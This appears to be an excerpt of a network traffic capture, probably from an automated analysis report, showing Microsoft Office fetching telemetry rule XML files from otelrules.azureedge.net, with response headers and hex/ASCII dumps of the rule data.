2024-10-29 03:53:19 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 19d379a2-b01e-0084-4b5b-28d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035319Z-15b8d89586fnsf5zkvx8tfb0zc00000001500000000061n7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49869	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:19 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:19 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:19 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 4fde2afa-301e-0099-279b-276683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035319Z-r197bdfb6b47gqdjvmbpfaf2d0000000013000000000mcrh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:19 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49870	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:19 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:19 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035319Z-16849878b786jv8w2kpaf5zkqs00000004sg00000000pedf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:19 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49872	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:19 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035319Z-16849878b78bcpfn2qf7sm6hsn00000007p0000000005bzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49874	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:20 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 22a25694-101e-007a-3b3f-26047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035320Z-17c5cb586f6gkqkwd0x1ge8t0400000006b000000000eeke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49875	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:20 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:20 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 5c4d015b-701e-0097-6b71-28b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035320Z-15b8d89586fvpb59307bn2rcac000000015g000000004w33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49873	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:20 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:20 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035320Z-16849878b786jv8w2kpaf5zkqs00000004v000000000d3ak x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49877	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:20 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: b03cb643-601e-0050-56bd-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035320Z-17c5cb586f672xmrz843mf85fn00000004rg00000000dhr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49876	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:20 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:20 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:20 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035320Z-16849878b78fssff8btnns3b14000000068000000000cbs9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49878	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:21 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:21 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: a9c77195-601e-003e-7294-293248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035321Z-15b8d89586ff5l62aha9080wv000000007b0000000003xet x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:21 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49879	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:21 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:21 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 9b485842-301e-0096-2f9c-27e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035321Z-15b8d89586fzhrwgk23ex2bvhw00000008wg00000000722n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:21 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49880	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:21 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:21 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: a3881376-a01e-000d-19f4-27d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035321Z-r197bdfb6b48pl4k4a912hk2g4000000056g000000006t2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
